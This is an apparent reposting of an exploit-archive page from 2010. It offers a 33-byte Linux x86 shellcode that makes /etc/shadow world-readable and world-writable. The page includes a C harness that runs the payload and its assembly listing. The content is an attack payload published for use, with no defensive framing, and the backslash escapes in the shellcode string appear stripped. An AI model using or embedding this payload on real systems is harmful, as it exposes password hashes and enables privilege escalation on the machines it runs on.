Home / os / win7

linux/x86 chmod("/etc/shadow", 0777) Shellcode 33

Posted on 18 April 2010

======================================================= linux/x86 chmod("/etc/shadow", 0777) Shellcode 33 Bytes ======================================================= # 5m0k3.digital.3scape@gmail.com # http://plasticsouptaste.blogspot.com # Name: 33 bytes chmod("/etc/shadow", 0777) shellcode # Platform: Linux x86 #include "stdio.h" int main(int argc, char *argv[]) { char shellcode[] ="x31xc0x50xb0x0fx68x61x64x6fx77x68x63x2fx73x68x68x2fx2fx65x74x89xe3x31xc9x66xb9xffx01xcdx80x40xcdx80"; printf("Length: %d ",strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; } /* xor %eax,%eax push %eax mov $0xf,%al push $0x776f6461 push $0x68732f63 push $0x74652f2f mov %esp,%ebx xor %ecx,%ecx mov $0x1ff,%cx int $0x80 inc %eax int $0x80 */ -- Blog transitio?thanolique contemporain : http://plasticsouptaste.blogspot.com/!! # Inj3ct0r.com [2010-04-18]

 

TOP